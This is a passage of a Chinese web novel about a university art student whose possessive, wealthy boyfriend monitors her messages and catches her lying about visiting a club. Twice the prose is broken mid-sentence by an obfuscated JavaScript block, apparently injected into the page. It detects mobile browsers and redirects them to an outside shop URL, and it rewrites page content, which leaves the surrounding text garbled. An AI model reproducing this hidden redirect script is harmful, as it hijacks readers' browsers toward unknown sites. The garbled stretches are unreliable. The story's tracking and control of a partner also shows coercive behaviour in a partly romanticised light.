《反向关系》 1. 雨前 祝昀伊正坐在候诊室的沙发上。 诊所内正播放着轻柔舒缓的音乐,四周灯光温和明亮,空调气温舒适,身旁还有几只可爱的动物玩偶陪坐。 可即便身处在如此舒服的环境里,也没能让祝昀伊的心安定下来半分。 自确诊以来每一次来到这里,她都是这样的心情。 情绪像是深深沉入水底,一点也放松不下来,胸口更像是压着一块大石子,迫得呼吸也带着股闷重感,就连心跳都快得不正常,自脉搏传递到耳边,震得耳膜如同擂鼓般砰砰作响。 偶尔吞咽口水,却觉得喉头干涩得如同砂纸。 祝昀伊努力把注意力转移到沙发对面的白墙。 墙上挂了几幅色彩明艳的画作,全是小孩子的作品,画上线条凌乱、用色天真,有着不受规矩束缚的想像力。 若换了平时,她或许会细细欣赏,此刻却难以专心,目光只是空空地扫过,什么也没能看进去。 “……” 祝昀伊突然长长地吐出一口气。 她闭上眼睛,整个人往后窝进沙发里,试图彻底放空心神。 就在这时,紧握在手中的手机突然震动了下。 她慢吞吞地拿起手机看了一眼。 只见屏幕亮起后,一条消息通知跳了出来,没等她回应,又立刻跳出第二条、第三条、第四条── 片刻不停的震动声将她的心跳带得愈发急促,直到对方一连发了九条消息后,祝昀伊才终于有了反应。 她吸了口气,关掉震动提示声,并将手机深深塞进包里。 做完这一连串动作,指尖仿佛还残留着按下锁屏键时的微颤,她有些犹豫,可反复挣扎再三,还是选择眼不见为净。 “祝小姐──” 恰好护理师在此时喊了她的名字,打断了她混乱的思绪。 祝昀伊立刻从沙发上站起来,她的双手紧握着包包背带,在护理师温和的笑脸下跟着她缓步迈进诊间。 偌大的诊疗室里灯光柔和,窗外的云层却压得很低,黑沉沉的乌云自远处天边不断蔓延过来,渐渐笼罩住整座城市。 祝昀伊坐在皮椅上出神地看着,指尖轻轻搓着袖口的边线,直到听见卢医生平稳的声音响起:“上周开始用药后,有没有什么特别的感受?” 她匆匆回神,对上医生温和含笑的目光。 祝昀伊抿起唇,思索了一下才缓缓开口:“前两天会有点想吐,吃不下东西,后来好了一点。但早上醒来时,还是会觉得头很重,有种没能完全醒来的感觉。” “情绪呢?有觉得好一点吗?” 她摇了摇头:“还是会觉得低落……不过心悸的症状有减缓一些。” 话到这里顿了一下,她努力形容着自己的感受:“有时候我会觉得自己像是和周遭的一切隔着一层什么,声音、颜色都变得很远,就好像整个人沉在水底。” 卢医生微微颔首,继续问道:“睡眠状况呢?失眠的症状有改善吗?” 祝昀伊“嗯”了一声:“有的,但好像变得比从前更容易做梦,有时候一整个晚上能做四五个梦,且醒来时总觉得思绪非常混乱,需要缓一会才能清醒过来。” 卢医生将她的回答逐一记下,温声解释道:“你才服药一周,药物效果还需要一段时间才会显露,但如果副作用变得严重就要及时告诉我,届时会需要调整剂量。” 说完,他又细细地向她说明此类药物的常见副作用,安抚她不用太过担心。 祝昀伊静静地聆听着,不知不觉中又再度出了神。 不经意瞥见放置在膝上的包包后,她突然想起了正被她塞在包里的手机。 给她发消息的人见她迟迟没有回应,大概也不会就此消停,此刻她的手机里估计已经累积了数十条消息。 卢医生注意到她频频走神,不由停下说明,含笑问道:“我见你好像一直注意包包,是手机放在里面吗?如果有什么事情,你可以先处理。” 面对他的善解人意,祝昀伊连忙摇摇头,歉意道:“不是重要的事……等一下再回复也可以,对不起。” “没事的,你不必向我道歉。”卢医生安抚地朝她笑了笑,道:“我注意到你看向包包的表情有点忐忑,是因为给你发消息的人吗?是你的家人?还是学校的老师?” 祝昀伊摇摇头,默了下才答道:“都不是,是……我男朋友。” “原来如此,先前的几次咨询曾听你谈起家人和学校生活,不如我们今天就来聊聊你的人际关系和感情生活?” 祝昀伊有些犹豫。 正搓着袖口的指尖陡然用力了几分,她几次垂下眼睛又抬起,最后用不太自在的语气说道:“可以先聊聊人际关系吗?比如我的朋友,或是……室友之间的感情?” 卢医生立刻明白她并不想谈论男朋友,或者是尚未做好谈论的准备。 他点点头,道:“当然可以,我们可以从你比较想谈论的部分开始。” “我记得你是华大美院的大四学生,在大学的这几年都是住校吗?” “是的,我们是四人寝,室友都和我同一个专业──” - 祝昀伊走出诊所时,天空已是乌压压的一片。 明明才下午四点半,可天色却犹如已然日落般灰暗,空气中弥漫着大雨将至的潮土气味,既压抑又闷热,令人恨不能一场大雨赶紧痛快地落下,好驱散这股让人烦躁的闷重氛围。 等到坐上了公交车,又看着窗外飞速掠过的城市街景一会后,祝昀伊终于把手机从包里拿出来。 点亮屏幕,通知栏显示她有三十八条未读消息。 其中有十条消息分别来自她的三个室友,剩下的全是同一个人发的。 祝昀伊深吸一口气,先是回复了室友们,这才慢吞吞地点开与那人的聊天窗。 除了文字消息以外,还夹杂着几条语音和数通未接电话,内容无一例外是询问她在哪、在干什么、为什么不接电话不回消息。 最后一条来自两分钟前:「回消息,不然我给你室友打电话了。」 哪怕没有看见对方,祝昀伊也能想像出他在发送这条消息时脸上不悦的表情。 她没有给他回电话,而是用文字回复了句:“我和室友在商场,刚刚没看手机。” 消息刚发送出去,对方立刻打了电话过来。 此刻公交车刚好到达目的地隽合广场,祝昀伊跟随着人流下了车,并挂掉来电回应道:“我们在看电影,现在不方便接电话。” 对方很快追问:「是什么电影?」 祝昀伊扫了眼商场建筑外恰好正在播放电影预告的巨大屏幕,答:“漫长的雨季。” 「你们几点进去的?」 「电影什么时候结束?」 祝昀伊:“我没注意时间,应该快结束了。” 「没注意时间?」 「你不知道电影买的什么场次?」 祝昀伊抿起唇,感觉心脏在这一秒跳得飞快:“票是晓蓓买的,我们吃完饭就过去了。” 消息发出去后,另一端迟迟没有回应。 想到他方才说要给她室友打电话,祝昀伊心下忐忑,不确定他到底打没打,也不知道他是否相信了她的说法。 云层压得更低了,天色愈发阴沉下来,她站在商场前的广场上,感觉自己仿佛正身处暴风中心。 这时,对面终于跳出了一条消息,说的是── 「几点结束?我去接你。」 看起来应该是相信了。 祝昀伊稍稍松了一口气,回应道:“我和室友们还要一起吃晚饭,今天是棠棠生日,我们要替她庆生。” 没等他回应,她又立刻补了句:“我和你说过的。” 随后接二连三的消息又跳了出来。 「在哪家餐厅?」 「定位发我,结束后我去接你。」 「你们总共几个人?只有你和室友?」 「还有没有其他人?都有谁?」 要帮林知棠庆生这件事并没有说谎,餐厅也是早就订好了的,祝昀伊乖乖地发了餐厅定位过去,答道:“只有我和棠棠、晓蓓和瑶瑶,没有别人了。” 「嗯。」 「到餐厅后发张照片给我。」 祝昀伊:“好。” 「几点结束?」 祝昀伊迟疑:“不确定,我们难得出来玩,可能会晚一点点。” 「别玩得太晚。」 「说好今晚陪我的。」 「快结束时告诉我,别又不回消息让我找不到你。」 随后对方发来一笔转帐,金额显示5200。 祝昀伊见状指尖一顿,想要拒收,可想到若是拒收,某人可能又会生气,只得收下了。 这人自交往以来便时不时给她转钱,且每次转账的金额都不低,除此之外也经常给她送礼物,小到零食奶茶,大到首饰奢侈品,还不许她拒绝。 朋友们为此经常调侃她撞大运了,竟然交到一个会爆金币的稀有男朋友。 祝昀伊起初自然也是倍感惊喜的,没有人会不喜欢对自己大方的男朋友,可随着收到的转账金额和礼物的价值愈来愈庞大,她开始会感到负担,甚至觉得这些礼物有些烫手。 也许是因为她不过普通家庭出身,她的父母每个月给她三千元的生活费,可她的男朋友有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093435|195542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时仅仅一个月内给她转账的金额,就能抵她父母两人加起来近三个月的工资。 悬殊的经济差距总令她心怀忐忑,她也曾向男朋友坦白过这种心情,可他每每有无数种方法哄得她只能乖乖接受。 久而久之,祝昀伊甚至怀疑是自己太过矫情。 男朋友出手大方还不好吗?等交到一个既抠门又爱斤斤计较的就老实了。 “……” 祝昀伊长长地吐出一口气。 仰头扫了眼阴沉的天空,雨水还是没有落下,看得人愈发烦躁起来。 她努力挥散杂乱的思绪,缓步踏进了商场。 - 祝昀伊和室友们约在商场七楼的火锅店。 一进了餐厅,她立刻拉着室友们拍了张合照发给男朋友。 对方看见照片后明显心情好了些许。 「乖。」 「别喝酒,也少吃冰。」 「快结束时给我发消息。」 最后这句话他已经重复很多遍了,祝昀伊有些无奈,但还是乖乖地给他发了个小狗点头的表情包。 见她正苦大仇深地捣鼓着手机,坐在她对面的许晓蓓立刻贼眉鼠眼地凑过来,“这是在给我们谢大帅哥报备呢?” 祝昀伊放下手机,点点头。 许晓蓓咋舌:“呀,谢哥这占有欲真不是盖的啊,人形追踪器了都,你们这才分开几分钟呀。” 她们三个下午时便在一起玩了,祝昀伊因为要回诊,且又不希望被室友们知道,于是就骗她们自己是和男朋友在一起。 祝昀伊没有反驳,只一边往锅里下肉一边玩笑道:“等你也谈一个这种的就老实了。” “那还是算了。” 许晓蓓悻悻道,她最厌烦被人管,可受不了这种去哪都得乖乖向男朋友报备的恋爱。 不过她自己接受不来,但这不妨碍她嗑别人的糖。 毕竟恋爱这档事,还是看别人谈最有趣了。 “我可以!我就想谈这种的!”坐在祝昀伊身旁的林知棠突然开口,她把碗递过来,兴冲冲道:“接接接!” 祝昀伊夹了一筷子烫好的牛肉放进她碗里,笑道:“想谈跟你crush说去哈。” 林知棠把碗拿回来闷头嗑肉,脸上是压抑不住的羞涩。 她最近在和一个计算机系的学弟暧昧,两人相识三个月,目前还停留在一晚上能和对方一起走五圈操场,却连手背也不敢碰在一起的进度。 许晓蓓面露慈爱,又给她夹了些菜:“小孩子一边玩去。” 林知棠捧着碗点点头:“好的妈妈。” “不过我觉得谢大帅哥这人有点过于强势了,伊伊脾气这么好,会被欺负的吧。” 说这句话的人是顾瑶,她是个外型甜美精致的大美女,也是整个寝室里恋爱经验最丰富的人,上到法学院的斯文学长,下到医学院的奶狗学弟,全是她鱼塘里养的鱼。 可以说在拿捏男人这一块,她是最专业的。 顾瑶看人的眼光很精准,在她看来,许晓蓓虽然爱嗑糖,但其实对恋爱和男人都没什么兴趣,一般的男人可拿捏不了她。 林知棠和她crush是小学生纯爱,也不用担心。 反倒祝昀伊虽然是个清丽大美女,但性格过于乖巧老实,在恋爱关系中最容易吃亏。 尤其她的对象还是那种不好把握的类型。 哪怕顾瑶纵横渔场多年从未翻车,自认也不敢轻易招惹谢大帅哥那种类型的男人。 伊伊性格这么好这么温柔,还不得被男朋友搓圆捏扁了! 恋爱小学生林知棠眨眨眼睛,茫然道:“会吗?我觉得谢大帅哥人挺好的呀,对伊伊也很好。” 他不只对祝昀伊好,对她们几个室友也很大方,经常在给伊伊送蛋糕奶茶时顺便给她们带,且每次见到她们也很有礼貌。 更不用说他家里有钱还长得巨帅,打球巨强,又是经管学院的大学霸,堪称是六边形战士了。 反正林知棠觉得自己要是能谈一个这类型的男朋友,做梦都得笑醒。 顾瑶凉凉地看她一眼,也给她夹了一筷子的菜:“小孩子一边玩去。” 林知棠:“……” 这时,许晓蓓看向祝昀伊,问道:“伊伊,谢大帅哥会欺负你吗?” 顾瑶和林知棠也盯住她。 面对室友们的灼灼目光,祝昀伊面露犹疑。 欺负…… 怎么样算欺负呢? 她忍不住将这句话问出口,眼底带着清澈的询问。 许晓蓓被她问得一下子卡了壳,脑子一黄,下意识说道:“呃……比如在床上表现得比较粗暴?” 2. 冰可乐 嘈杂的火锅店仿佛安静了一瞬。 祝昀伊怎么也没想到室友们指的“欺负”竟然是这种“欺负”。 “……” 她呆滞几秒,脑里不可抑制地浮现了一连串儿少不宜的画面,白皙的面颊一下子涨得通红。 几个室友一看她这表情,立刻什么都明白了。 许晓蓓极力克制着不要露出太过猥琐的表情,她战术性地喝了口水,道:“没想到谢哥人看着挺斯文,私底下这么猛啊。” 林知棠嘿嘿一笑:“打球都这么猛了,床上猛也很正常。” 经管学院和美院曾在她们大二时于院际男篮赛对上,这场比赛也是林知棠至今挂在嘴边念念不忘的经典。 不同于经管这种校内强势大系,她们美院的男生数量稀少,经常要集各学系之合才能勉强凑出一支队伍,即便如此也总是敬陪末座,在这种院际大赛上常年垫底。 所以当大二那年美院男篮破天荒杀进八强时,几乎整个学院的人都沸腾了。 那时他们刚爆冷打败了夺冠热门机械系,将与经管学院争夺四强名额,为了给这支刷新美院历史的篮球队加油打气,美院出动了很多学生,比赛当天的啦啦队气势全然不输给经管学院。 祝昀伊也和室友们一起去观赛了,还幸运地挤进了前排。 做足了给美院加油的气势后,紧接着她们便看见美院篮球队的人雄赳赳气洋洋地上了球场,被经管学院打得落花流水抱头鼠窜。 当晚球赛的全场MVP正是祝昀伊如今的男朋友。 那时他们尚未开始交往,还只是普通的暧昧关系,他自然也没有说要让一让暧昧对象所在的学院,给放放水什么的。 别说放水了,套一句林知棠的话来说,谢大帅哥那晚简直就是遇神杀神,遇鬼杀鬼,都杀红眼了。 更丧尽天良的是,比赛结束后,此人还在经管学院的漫天欢呼声中穿过球场,一路来到气氛低迷的美院观众席前,询问正在安慰美院球队的祝昀伊待会要不要和他一起吃饭。 这简直是岂有此理啊! 这家伙不只爆杀他们的人,竟然还来拐他们的白菜! 美院众人对此义愤填膺,并在下一秒纷纷拿出零食饮料开始恨恨地吃瓜。 林知棠那时就站在祝昀伊身旁,正巧是第一线吃瓜群众,对于谢大帅哥当晚的表现,她只有一句话:“谢哥真牛人也!” 不过,有件事她其实一直都没敢说。 谢哥过来之前,伊伊正在安慰球队里的同班同学,当时谢哥就坐在经管那边的替补席上一脸阴沉地看着,手里的水杯都要被他给捏扁了。 他那时的眼神,林知棠每每想起都觉得可怕。 事后她也不敢多言,毕竟谢哥好像也发现她在看他,她真怕自己说错什么被他给刀了。 “……” 祝昀伊已经被闹得彻底脸红,不知该作何反应。 她向来是个含蓄内敛的人,即便此刻在她面前的都是她的知交好友,可要和她们谈论这种事情还是让她感到很难为情。 顾瑶看出她的窘迫,连忙开口替她解围:“连牵手都不敢的小学生也能对这种事侃侃而谈了?” 林知棠闻言果然一拍桌子:“这没吃过猪肉也看过猪跑啊!” 顾瑶白了她一眼:“别只敢说不敢做,当心猪真跑了。” 林知棠一噎,憋了半晌只红着脸憋出一句:“你懂什么,我们可是纯爱!” 话音落下,不只顾瑶和许晓蓓,就连祝昀伊也忍不住笑了出来,只觉得心情恢复几分轻松。 她们宿舍的感情向来很好,只是这个暑假大家各自忙得脚不沾地,已经有好一阵子没能像这样聚在一起。 此刻四人围着火锅天南地北地聊着,若不是还有个祝昀伊时不时往锅里加菜、又贴心地夹到每个人碗里,估计她们一路吃到打烊也没能吃完。 吃完饭以后,她们又一人一杯奶茶,手勾着手在商场逛街。 直到手机通知栏接连跳出男朋友发来的消息,祝昀伊才发现时间竟已过了九点。 她正陪着顾瑶在专柜里试口红新色,顾瑶自己试了一轮,又拉着给她试,见她今日妆淡,还让柜姐给她化了个全妆。 祝昀伊的相貌清丽恬淡,骨相优越,却没有丝毫攻击性,是令人第一眼见了就感到非常灵动舒心的长相。 她的瞳仁颜色偏淡,是非常澄澈的茶褐色,眼睛像小鹿般又大又圆,盈着浅浅的笑意看向他人的时候,神仙也会被她迷倒。 顾瑶一直觉得祝昀伊是个可塑性极强的大美人,可惜她日常习惯淡妆,很少尝试其他风格的妆容。 此刻机会难得,顾瑶便和柜姐讨论着给她化了个珠光宝气的妆容。 祝昀伊乖乖地坐在椅子上,任由柜姐在她脸上肆意涂抹,而她则握着手机,正在和追问她聚会何时结束的男朋友报备行程。 顾瑶见她表情纠结,忽然探手夺过她的手机,打开相机替她拍了张照片,并火速发给她男朋友。 祝昀伊甚至没反应过来发生了什么。 几秒后,顾瑶看着对面发来的消息,眉头微挑。 她把手机屏幕转向祝昀伊,冲她眨眨眼睛道:“拿捏。” 只见对面回复道── 「在专柜试妆?」 「宝宝好漂亮。」 「喜欢就全买了。」 紧接着是对方又给她转账了5200元的消息。 祝昀伊:“……” 顾瑶笑嘻嘻地把手机还给她,又推着她的椅子把她转向镜子,道:“快来看看仙女!” 柜姐在祝昀伊原有的淡妆基础上加深了眼妆和修容,使得她原先淡丽的五官一下子变得明丽冶艳起来,灯光下耀眼夺目至极。 不只顾瑶大加赞赏,就连刚去其他专柜买完香水回来的许晓蓓和林知棠见了也被她迷倒了。 林知棠抹了抹不存在的口水,道:“伊伊太漂亮了,呜呜呜谢哥吃得真好!” 祝昀伊被她夸张的反应逗笑,冷不防朝她飞了个媚眼。 林知棠立刻捂心做昏倒状。 这时许晓蓓看了眼手机,突然提议道:“奈奈说她们在附近的酒吧包了个卡座,问我们要不要过去玩,你们想去吗?” 她口中的奈奈是视传设计系的陈奈,就住在她们隔壁寝室,许晓蓓是个喜欢串门子的社牛,和隔壁寝室的人关系挺好,经常一起玩。 林知棠问了都有谁,待得知只有陈奈和她的室友们在,立刻表示想去。 顾瑶没意见,许晓蓓于是转向祝昀伊:“伊伊呢,你去吗?” 祝昀伊其实应该走了,她答应男朋友今天要去住他那,且自八点过后对方便一直发消息问她什么时候结束,显然已经有些不高兴。 可面对室友们期待的眼神,她又不太想拒绝,毕竟此刻这份愉快轻松的心情睽违已久,她有点舍不得就这么结束。 再加上,可能还出于一点微妙的逃避心态。 于是她弯起眼睛道:“去吧,只不过我可能会提早走。” “好耶!” 林知棠欢呼一声往门口走,许晓蓓拿起手机叫车,顾瑶则勾着祝昀伊的手走在最后头。 见昀伊似乎正在和男朋友报备,顾瑶好奇地问了句:“你男朋友同意你去酒吧?” 陈奈几人所在的酒吧可不是氛围静谧的清吧,而是一家可以蹦迪的大型club,环境相对混乱了些。 一般人都不太乐意对象去那种地方,何况是谢大帅哥那种占有欲极强的类型。 祝昀伊说:“那必然是不可能同意的。” 别说是夜店了,大概就是家环境单纯的清吧他都不能同意。 所以她也没有和他说要去酒吧,只说遇到了隔壁寝室的人,对方邀请她们去附近的咖啡厅坐坐,并表示自己会在十一点前打车回家,让他不用来接她。 发完这段消息,她便关掉手机的震动提示声,把手机深深塞进包里。 顾瑶见状给了她一个大拇指,道:“就该这样,男人就不能惯着,否则你只会处处被他拿捏。” 祝昀伊闻言只是笑:“顾大师说的是。” 然而,她表面看似云淡风轻,实则心里早已抖如筛糠。 她很少说谎欺骗他人,本就心虚,更不用说还是欺骗一个面对有关她的一切较真得宛如福尔摩斯的家伙。 若是他相信了她的谎言最好,若是不相信跑来质问她也还能应付,但要是直接被他当场抓包── 祝昀伊根本不敢想像会发生什么。 她只知道,自己大概会比完蛋更完蛋。 - 今天是周五,酒吧里人很多,哪怕如今时间还早,卡座也几乎坐满了一半。 DJ正站在台上打碟,早场的DeepHouse像一层朦胧的雾气包裹住舞池,低频鼓点伴随着绵长的Bassline在空气中流淌,使得整个场子带着点微醺的松弛感。 祝昀伊坐在卡座里,手上是一杯加满了冰块的可乐。 和陈奈相熟的酒吧营销走过来见了,说要请她喝一杯酒,让她酒单任选,被她委婉地拒绝了。 她最近在吃药,卢医生说服药期间不宜饮酒,因此她并不打算碰任何酒精饮料。 “真不喝?莫吉托也不行?”营销眉头微扬,见祝昀伊微笑摇头,又接着道:“那给你加份小食?这杯可乐就算我的。” 祝昀伊还是拒绝:“不用了,谢谢你。” 她不太擅长应对这种交际,只好尴尬但不失礼貌地冲对方笑笑。 营销见状还想说点什么,却被一旁的陈奈打断了,她一把将酒单接过来,道:“既然她不喝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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因为在学校里骑这辆车总被人围观,他不耐烦之下便又换了一辆──新车价值九万。 此时听陈奈室友提起,祝昀伊只当对方是想八卦这件事,却见后者托着下颔懒洋洋地笑道:“啧,长得帅还有钱,又是经管学院的,伊伊吃太好了,能不能让我演两集啊?” 她是玩笑调侃的语气,可话音一落,卡座里的气氛明显微微一顿。 顾瑶和许晓蓓闻言都忍不住皱起眉头,就连林知棠也凑过来小声嘀咕了句这人真没礼貌。 “……” 祝昀伊不知该怎么回应,当下只是好脾气地冲对方笑笑。 陈奈注意到气氛不对,连忙笑着推了室友一把,又往她嘴里塞了把薯条,道:“这才几点你就醉了啊?快吃点东西清醒清醒。” 她有意缓和气氛,很快又聊起其他话题,众人便只当没听到刚才那句话。 过了十点半后,酒吧里愈发热闹起来。 随着DJ猛地推杆,低沉的鼓点顿时如雨点般砸下,极具节奏感的重低音更似洪流般扑天盖地而来,震得人胸腔发麻。 各种不同颜色的灯光疯狂闪烁,像一颗颗彩弹在视野里接连炸开,追光灯随着愈发急切的节奏极速扫过舞池,照亮一张张陷于狂欢之中而显得潮红的脸。 祝昀伊被交错的灯光晃得眼睛疼。 轰轰作响的音乐震得耳膜仿佛要破裂,脑袋也因此突突地胀疼起来。 这时又有几个其他卡座的男生过来搭讪,祝昀伊注意到他们不断投过来的打量视线,她心下有些不适,便和坐在她身旁的许晓蓓说自己想要走了。 许晓蓓连忙点头,关心地问:“你要怎么回去?你男朋友来接你吗?” 祝昀伊摇摇头,她刚想说自己要打车回去,一拿出手机却被接连跳出的消息通知刷了个满屏。 全是她男朋友发来的。 没等她细看,又是一通电话打来,她心下一慌,竟不慎按下了拒接。 下一秒,屏幕上跳出一条消息,冷冰冰的几个字── 「祝昀伊,抬头。」 看见这句话的当下。 四周的声音仿佛在一瞬间全数抽离,只剩下擂鼓般的心跳声在耳膜里轰鸣。 祝昀伊呼吸一滞,下意识抬起头来。 很快的她便看见一道挺拔的身影静立在二楼的栏杆前,那人双臂撑着栏杆,垂头俯视的姿态既安静又极具压迫感,不知已站在那里看了她多久。 疯狂闪烁的灯光不停地扫过舞池,却始终没有照亮他的脸,只在他的肩线和手臂边缘勾勒出一圈冷白的轮廓。 祝昀伊看不清对方的表情和眼神,只觉得他的目光如有重量,压得她连呼吸都变得细碎。 完蛋了。 3. 坏天气 二楼的VIP区在昏暗的酒吧内宛如一座悬浮在半空的岛,与一楼的喧闹疯狂隔着一道栏杆相望。 半包围式的沙发卡座里,几个年轻男人懒洋洋地倚在真皮沙发上,笑声里带着被酒精浸染过的散漫。 时不时有妆容精致的女孩子踩着细高跟走过来,端着香槟娇笑着与他们碰杯,女孩们身上的香水味混合著酒精的气息在空气中黏腻地交缠,伴随着开瓶的轻响和玻璃杯相碰的清脆声,是与一楼截然不同的纸醉金迷。 乔屿正拿着酒杯半倚在栏杆上,脸上神情懒散。 二楼的视野很好,站在这里能够将楼下的情景尽收眼底,不管是躲在暗处调情的男女,还是趁着人群拥挤偷吃别人豆腐的混蛋,谁也逃不过来自楼上人们的窥视。 他抿了一口威士忌,目光随意地在一楼狂欢的人群中扫过,只觉得有些无聊。 这时,身后传来一个朋友的笑声:“咱们谢大少爷呢?他怎么没来?” 乔屿眉梢一动,语气散漫地回应道:“谢大少爷说他很忙,没空。” 那家伙本来就不喜欢来这种地方,嫌吵,更懒得和这些人待在一起,不来才是正常。 “今天可是周五,他忙什么去了?难不成是忙着写毕业论文?” 几个朋友闻言顿时哄笑起来,乔屿也笑了:“还不至于是忙这个,估计是忙着陪女朋友吧。” 其中一人拿着酒杯走过来,和他一起倚在栏杆前俯视一楼,兴味道:“难不成还是之前见过的那一位?他们还没分呢?啧,咱们谢少可真够长情啊。” 乔屿瞥了他一眼,道:“滚,你以为谁都和你一样一天换一个?人家好着呢。” “是我不懂了。”那人扬了扬眉,打趣道:“没想到谢大少爷还是个纯爱战士。” 乔屿又抿了一口酒,没有反驳。 说起来他也觉得稀奇,明明是对旁人最冷淡不过的一个家伙,结果这一谈起恋爱简直跟被下了降头似的,天天不是在陪女朋友就是在陪女朋友的路上,搞得他有一阵子都怀疑好兄弟被人夺舍。 乔屿也曾见过他女朋友几面,确实是个挺漂亮的女孩子,说话温温柔柔的,笑起来很好看。 可她的外表看起来实在太过无害,也不像是个有心机有手段的人,所以她是怎么哄得那个眼高于顶目中无人的混蛋家伙天天围着她转的? 他百无聊赖地思索着,因为实在无聊,甚至都想不要命地杀去好兄弟家里当个碍眼的电灯泡了。 就在这时,忽然听见身旁的人说:“啧,楼下那桌的都挺漂亮呀。” 此话一出,原先坐在沙发上的男人们纷纷走过来往一楼看,待瞧见那人指的卡座上确实都是美女后,顿时你一言我一语地对着几个女孩子品头论足起来。 “我喜欢那个短头发的,笑起来真他爹的甜。” “看着像是大学生啊,一个个脸蛋生得真是水灵。” “说不定还是名校高材生呢,这里离华大和京大挺近的。” “高材生好啊,玩高材生更是好啊!” 他们言语肆意地聊了一会,突然扭头看向乔屿:“乔少,看看呢,你觉得哪个最漂亮?” 乔屿对此兴致缺缺。 他摆摆手,正想拿着酒杯回到卡座里,几个人却拉住他,非要他看一眼谁最漂亮。 乔屿神情不耐烦地朝着他们指的那桌看了一眼,这一看,顿时定住目光挪不开眼了。 大伙见状笑着打趣道:“怎么,这是对谁一见钟情了?跟哥们几个说说呗。” “……” 乔屿不答,只定定地凝视着某一个方向,仿佛连眨眼忘记了。 朋友们难得见他露出这般神情,顿时笑得乐不可支。 “我喜欢那个长头发穿衬衫的。”这时其中一人突然道,说完拎起桌上的唐培里侬香槟就要往楼下走,暧昧地冲几人眨眼:“哥先去探探路。” 可他才刚迈开步伐就被人拉住手臂,回头一看,只见乔屿正神情古怪地看着他,道:“别去。” 那人挑着眉笑道:“怎么,乔少也喜欢那一个?虽说兄弟一场,但美女在前,哥可不能让给你。” 话音一落,却见乔屿的表情更古怪了。 “让你爹的让!”他冷笑一声,语带讽意:“那是谢今越他女朋友,想死的话你就尽管去。” 那人顿时就傻了:“啊?这……” 乔屿却没再理他,而是回到栏杆前继续看向坐在楼下卡座里的祝昀伊。 有几个男人正巧拿着酒杯过去搭讪她和她朋友,而她面对陌生人的搭讪露出了不自在的表情,显然并不擅长应对这种场合。 乔屿眉头轻扬。 等他再反应过来时,已经拿起手机拨了通电话出去。 几秒钟的“嘟嘟”声过后,电话被人接起,另一头传来一把温润清朗的嗓音,可对方的语气却很冷漠,彰显著声音主人的不耐烦:“说。” 乔屿问道:“兄弟,你和你女朋友在一起吗?” 电话那头沉默几秒,再开口时带了几分阴郁:“你想说什么?” 乔屿一听他这语气立刻明白他并未和女朋友在一起,楼下那女孩子真的是祝昀伊。 一整晚都感到非常无聊的心情顿时在此刻活络起来,他甚至感到有几分兴奋,还刻意卖了会关子才说道:“我好像看见你女朋友了──” “在盛京路的PulseClub。” “……” 对方闻言并没有回应,而是直接把电话挂了。 乔屿却咧嘴笑起来,拿着酒杯满面兴味地回到沙发上坐着。 其他人见状也回到卡座,方才想去搭讪祝昀伊的那人连忙问道:“那女生真是谢今越他女朋友?” 乔屿点点头,睨了他一眼:“如假包换,所以你们几个乖乖坐好,别去楼下添乱,否则等那家伙过来,谁不长眼睛骚扰他女朋友被他给刀了可别怪哥哥我没提醒。” 几人面面相觑,虽然有些可惜那一桌的美女,但到底不敢轻举妄动。 那可是谢今越,他们其实也只敢私下说他闲话,真要对上他本人还是不敢随意招惹的。 也就乔屿从小和他认识,敢和他称兄道弟,偶尔还能开开玩笑。 要换了旁人试试呢,还不得被他用眼神羞辱到泥地里。 大约五分钟后,一个满面冷色的青年被服务员引到二楼来,乔屿抬眼见了他,笑着调侃了句:“你是飞过来的吗?” 来人身姿修长挺拔,衣着简单,可举手投足间却透着一股迫人的气度。 二楼昏暗的光影映出他的面容,又在他的面部投下几道阴影,将那本就立体的五官轮廓勾勒得愈发深邃英挺。 只见他高挺的鼻梁上架着一副半框眼镜,镜片的遮挡为那张脸添上一层温和的错觉,可若是细看就能发现藏在镜片后的眼睛幽深而漆黑,像两口深不见底的古井,定定地看着谁时,仿佛要将那人彻底吞没。 此刻他眉宇间的冷意毫不掩饰,眼神里更是透着一股睥睨万物的傲慢冷漠。 看见他出现,原先歪坐在沙发上的人都不自觉坐直了身子。 谢今越没看其他人,只冷声问乔屿:“她在哪。” 乔屿也不废话,起身把人引到栏杆前,指着楼下离他们不远的一个卡座,“在那,我没看错吧?” “……” 谢今越垂目往楼下看,没有说话。 不过乔屿从周遭又猛然低了几分的气压也能猜到答案。 只见好兄弟面无表情地看着楼下一会,倏地拿出手机开始发消息,乔屿悄悄凑过去看了一眼,待瞧见那满屏没有得到对方回应的绿色对话框后,不由暗暗咋舌。 我草,他是和女朋友吵架了?! 眼见谢今越脸上的神情愈来愈冷,手背上隐隐爆出青筋,显然已经怒极,乔屿突然觉得有点后悔。 起初他还打着看热闹的心思,此刻却忍不住替祝昀伊捏了把冷汗,连忙出言安抚:“可能是这里太吵了,她没有注意到提示声──” 话还没完,就见祝昀伊正巧拿出手机一看,谢今越立刻打了电话过去。 结果被她拒接了。 “──哈。” 他沉默几秒,蓦地气笑了。 乔屿只觉得心脏都提到了嗓子眼,正想劝好兄弟冷静,这时后者不知又发了什么过去,祝昀伊忽然在下一秒抬头往二楼看。 待隔空与他们对上目光后,乔屿看见她吓得脸都白了。 也难怪她害怕了,就谢今越这副宛如午夜前来索命的男鬼模样,连他见了都觉得害怕。 更糟糕的是,这时刚巧有个不长眼的男的走到祝昀伊身边搭讪她,乔屿见状忍不住骂了声操。 “兄、兄弟,你有话好好──” 他没能把话说完,因为谢今越直接转身往楼下去了。 - 看见站在二楼的人后,祝昀伊的第一个反应是逃跑。 